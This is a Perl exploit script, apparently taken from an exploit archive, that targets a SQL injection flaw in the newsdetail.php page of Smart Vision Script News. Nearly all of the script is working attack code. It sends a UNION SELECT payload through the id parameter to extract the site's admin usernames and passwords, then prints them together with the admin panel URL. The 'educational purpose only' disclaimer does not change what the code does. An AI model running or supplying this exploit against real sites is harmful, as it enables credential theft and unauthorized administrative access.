Smart Vision Script News - 'newsdetail.php' SQL Injection (2)

#!usr/bin/perl
############################################################################
# Exploit Title: Smart Vision Script News (newsdetail) SQL Injection Exploit
# Date: 01-04-2010
# Author: darkmasking
############################################################################
# This was written for educational purpose only. Use it at your own risk.
# Author will be not responsible for any damage!
############################################################################
# Vuln discovered by Err0R
# Smart Vision Script News ( newsdetail ) SQL Injection Vulnerability
# http://www.exploit-db.com/exploits/10977
############################################################################
# Greetz : sorry bro lom ada teman jadi tuk diri sendiri aja 0_o
############################################################################

  use IO::Socket::INET;
  use LWP::UserAgent;

  sub banner {

  print "\n".
              "[�0�3]=============================================[_][-][X]\n".
	      "[�0�3]  =======   ------d-------m------   ====    ====   [�0�3]\n".
	      "[�0�3]  || === =       | |(o o)| |        ||== || ==||   [�0�3]\n".
	      "[�0�3]  || === =         ||(~)||          || =    = ||   [�0�3]\n".
	      "[�0�3]  =======             |             ||        ||   [�0�3]\n".
	      "[�0�3]---------------------------------------------------[�0�3]\n".
              "[�0�3] Smart Vision Script News (newsdetail)             [�0�3]\n".
              "[�0�3] SQL Injection Exploit                             [�0�3]\n".
              "[�0�3] by darkmasking                                    [�0�3]\n".
              "[�0�3] Vuln discovered by Err0R                          [�0�3]\n".
              "[�0�3]===================================================[�0�3]\n\n";
 }

 my $host    = $ARGV[0];
 my $sql_path = "/newsdetail.php?id=";
 my $admin_path ="/admin/admin.php";

 if (@ARGV < 1) {
    &banner();
    &help("-1");
 }

 elsif(check($host) == 1) {
	&banner();
	&dmploit($host,$sql_path);
 }

 else {
    &banner();
    help("-2");
 }

 sub dmploit() {

    my $host     = $_[0];
    my $sql_path = $_[1];

    print "[+] Getting Username and Password\n";
    print "[!] Checking...\n";
    print "\n";

	my $sql_atk = $host.$sql_path."-9999 union select null,concat(0x6461726b6d61736b696e67,0x3a,user_name,0x3a,password,0x3a,0x6461726b6d61736b696e67),null,null,null,null,null from zagrosle_zagros.user_accounts--";
	my $sql_get = get_url($sql_atk);
    my $connect = tag($sql_get);

    if($connect =~ /darkmasking:(.+):(.+):darkmasking/) {

    print "-o0 SQL Injection Successfully 0o-\n";
    print "[+] Username : $1\n";
    print "[+] Password : $2\n";
    print "\n";
    print "[+] Admin URL = $host$admin_path\n";

    }

    else {
	print "[-] SQL Injection Failed\n";
    }
 }

   sub get_url() {
    $link = $_[0];
    my $req = HTTP::Request->new(GET => $link);
    my $ua = LWP::UserAgent->new();
    $ua->timeout(5);
    my $response = $ua->request($req);
    return $response->content;
  }

  sub tag() {
    my $string = $_[0];
    $string =~ s/ /\$/g;
    $string =~ s/\s/\*/g;
    return($string);
  }

  sub check() {
  my $host  = $_[0];
  if ($host =~ /http:\/\/(.*)/) {
    return 1;
    }
    else {
    return 0;
    }
  }

  sub help() {

  my $error = $_[0];
  if ($error == -1) {
  print "\n[-] Error, missed some arguments !\n\n";
  }

  elsif ($error == -2) {

    print "\n[-] Error, Bad arguments !\n";
    }

    print " Usage : perl $0 http://www.darkurl.com/\n\n";
    print " Ex    : perl $0 http://www.darkurl.com/\n\n";
    exit(0);
  }